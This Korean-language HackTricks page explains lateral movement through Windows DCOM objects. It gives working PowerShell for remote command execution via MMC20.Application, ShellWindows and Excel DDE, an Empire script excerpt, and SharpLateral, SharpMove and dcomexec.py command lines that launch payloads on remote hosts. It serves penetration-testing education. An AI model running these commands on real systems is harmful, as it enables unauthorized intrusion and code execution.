DCOM Exec

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

MMC20.Application

์ด ๊ธฐ์ˆ ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/์˜ ์›๋ณธ ๊ฒŒ์‹œ๋ฌผ์„ ํ™•์ธํ•˜์„ธ์š”.

Distributed Component Object Model (DCOM) ๊ฐ์ฒด๋Š” ๊ฐ์ฒด์™€์˜ ๋„คํŠธ์›Œํฌ ๊ธฐ๋ฐ˜ ์ƒํ˜ธ์ž‘์šฉ์„ ์œ„ํ•œ ํฅ๋ฏธ๋กœ์šด ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. Microsoft๋Š” DCOM ๋ฐ Component Object Model (COM)์— ๋Œ€ํ•œ ํฌ๊ด„์ ์ธ ๋ฌธ์„œ๋ฅผ ์ œ๊ณตํ•˜๋ฉฐ, DCOM์— ๋Œ€ํ•œ ๋ฌธ์„œ๋Š” ์—ฌ๊ธฐ์—์„œ, COM์— ๋Œ€ํ•œ ๋ฌธ์„œ๋Š” ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. DCOM ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ชฉ๋ก์€ PowerShell ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Get-CimInstance Win32_DCOMApplication

COM ๊ฐ์ฒด์ธ MMC Application Class (MMC20.Application)๋Š” MMC ์Šค๋ƒ…์ธ ์ž‘์—…์˜ ์Šคํฌ๋ฆฝํŒ…์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ํŠนํžˆ, ์ด ๊ฐ์ฒด๋Š” Document.ActiveView ์•„๋ž˜์— ExecuteShellCommand ๋ฉ”์„œ๋“œ๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฉ”์„œ๋“œ์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‹คํ–‰ํ•ด ๋ณด์„ธ์š”:

์ด ๊ธฐ๋Šฅ์€ DCOM ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ํ†ตํ•ด ๋„คํŠธ์›Œํฌ์—์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์„ ์šฉ์ดํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๊ด€๋ฆฌ์ž๋กœ์„œ DCOM๊ณผ ์›๊ฒฉ์œผ๋กœ ์ƒํ˜ธ์ž‘์šฉํ•˜๊ธฐ ์œ„ํ•ด PowerShell์„ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

์ด ๋ช…๋ น์€ DCOM ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์—ฐ๊ฒฐํ•˜๊ณ  COM ๊ฐ์ฒด์˜ ์ธ์Šคํ„ด์Šค๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ๋‹ค์Œ ExecuteShellCommand ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ์›๊ฒฉ ํ˜ธ์ŠคํŠธ์—์„œ ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ”„๋กœ์„ธ์Šค๋Š” ๋‹ค์Œ ๋‹จ๊ณ„๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค:

Check methods:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

RCE ์–ป๊ธฐ:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

ShellWindows & ShellBrowserWindow

์ด ๊ธฐ์ˆ ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ์›๋ณธ ๊ฒŒ์‹œ๋ฌผ์„ ํ™•์ธํ•˜์„ธ์š” https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

MMC20.Application ๊ฐ์ฒด๋Š” ๋ช…์‹œ์ ์ธ โ€œLaunchPermissionsโ€œ๊ฐ€ ๋ถ€์กฑํ•˜์—ฌ ๊ธฐ๋ณธ์ ์œผ๋กœ ๊ด€๋ฆฌ์ž๊ฐ€ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์œผ๋กœ ์„ค์ •๋˜์–ด ์žˆ์Œ์„ ํ™•์ธํ–ˆ์Šต๋‹ˆ๋‹ค. ์ถ”๊ฐ€ ์„ธ๋ถ€์ •๋ณด๋Š” ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋ช…์‹œ์ ์ธ Launch Permission์ด ์—†๋Š” ๊ฐ์ฒด๋ฅผ ํ•„ํ„ฐ๋งํ•˜๊ธฐ ์œ„ํ•ด @tiraniddo์˜ OleView .NET ์‚ฌ์šฉ์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค.

๋ช…์‹œ์ ์ธ Launch Permissions๊ฐ€ ๋ถ€์กฑํ•œ ๋‘ ๊ฐœ์˜ ํŠน์ • ๊ฐ์ฒด์ธ ShellBrowserWindow์™€ ShellWindows๊ฐ€ ๊ฐ•์กฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. HKCR:\AppID\{guid} ์•„๋ž˜์— LaunchPermission ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ•ญ๋ชฉ์ด ์—†๋‹ค๋Š” ๊ฒƒ์€ ๋ช…์‹œ์ ์ธ ๊ถŒํ•œ์ด ์—†์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

ShellWindows

ShellWindows๋Š” ProgID๊ฐ€ ์—†๊ธฐ ๋•Œ๋ฌธ์— .NET ๋ฉ”์„œ๋“œ Type.GetTypeFromCLSID์™€ Activator.CreateInstance๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ AppID๋ฅผ ํ†ตํ•ด ๊ฐ์ฒด ์ธ์Šคํ„ด์Šค๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ OleView .NET์„ ํ™œ์šฉํ•˜์—ฌ ShellWindows์˜ CLSID๋ฅผ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค. ์ธ์Šคํ„ด์Šคํ™”๋œ ํ›„์—๋Š” WindowsShell.Item ๋ฉ”์„œ๋“œ๋ฅผ ํ†ตํ•ด ์ƒํ˜ธ์ž‘์šฉ์ด ๊ฐ€๋Šฅํ•˜๋ฉฐ, Document.Application.ShellExecute์™€ ๊ฐ™์€ ๋ฉ”์„œ๋“œ ํ˜ธ์ถœ๋กœ ์ด์–ด์ง‘๋‹ˆ๋‹ค.

๊ฐ์ฒด๋ฅผ ์ธ์Šคํ„ด์Šคํ™”ํ•˜๊ณ  ์›๊ฒฉ์œผ๋กœ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ PowerShell ๋ช…๋ น์˜ ์˜ˆ๊ฐ€ ์ œ๊ณต๋˜์—ˆ์Šต๋‹ˆ๋‹ค:

# Example
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

# Need to upload the file to execute
$COM = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.APPLICATION", "192.168.52.100"))
$COM.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $Null, $Null, "7")

Lateral Movement with Excel DCOM Objects

Lateral movement์€ DCOM Excel ๊ฐ์ฒด๋ฅผ ์ด์šฉํ•˜์—ฌ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ์ •๋ณด๋Š” Cybereasonโ€™s blog์—์„œ DCOM์„ ํ†ตํ•œ lateral movement๋ฅผ ์œ„ํ•œ Excel DDE ํ™œ์šฉ์— ๋Œ€ํ•œ ๋…ผ์˜๋ฅผ ์ฝ๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

Empire ํ”„๋กœ์ ํŠธ๋Š” DCOM ๊ฐ์ฒด๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰(RCE)์„ ์œ„ํ•ด Excel์„ ํ™œ์šฉํ•˜๋Š” PowerShell ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์•„๋ž˜๋Š” Empireโ€™s GitHub repository์—์„œ ์ œ๊ณต๋˜๋Š” ์Šคํฌ๋ฆฝํŠธ์˜ ์ผ๋ถ€๋กœ, RCE๋ฅผ ์œ„ํ•ด Excel์„ ์•…์šฉํ•˜๋Š” ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค:

# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

Lateral Movement์„ ์œ„ํ•œ ์ž๋™ํ™” ๋„๊ตฌ

์ด ๊ธฐ์ˆ ์„ ์ž๋™ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ๋‘ ๊ฐ€์ง€ ๋„๊ตฌ๊ฐ€ ๊ฐ•์กฐ๋ฉ๋‹ˆ๋‹ค:

  • Invoke-DCOM.ps1: ์›๊ฒฉ ๋จธ์‹ ์—์„œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์˜ ํ˜ธ์ถœ์„ ๊ฐ„์†Œํ™”ํ•˜๋Š” Empire ํ”„๋กœ์ ํŠธ์—์„œ ์ œ๊ณตํ•˜๋Š” PowerShell ์Šคํฌ๋ฆฝํŠธ์ž…๋‹ˆ๋‹ค. ์ด ์Šคํฌ๋ฆฝํŠธ๋Š” Empire GitHub ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • SharpLateral: ์›๊ฒฉ์œผ๋กœ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋œ ๋„๊ตฌ๋กœ, ๋‹ค์Œ ๋ช…๋ น์–ด์™€ ํ•จ๊ป˜ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true

Automatic Tools

  • The Powershell script Invoke-DCOM.ps1๋Š” ๋‹ค๋ฅธ ๋จธ์‹ ์—์„œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋ชจ๋“  ์ฃผ์„ ์ฒ˜๋ฆฌ๋œ ๋ฐฉ๋ฒ•์„ ์‰ฝ๊ฒŒ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.
  • Impacket์˜ dcomexec.py๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ DCOM์„ ํ†ตํ•ด ์›๊ฒฉ ์‹œ์Šคํ…œ์—์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami"
  • SharpLateral๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
  • ๋˜ํ•œ SharpMove๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ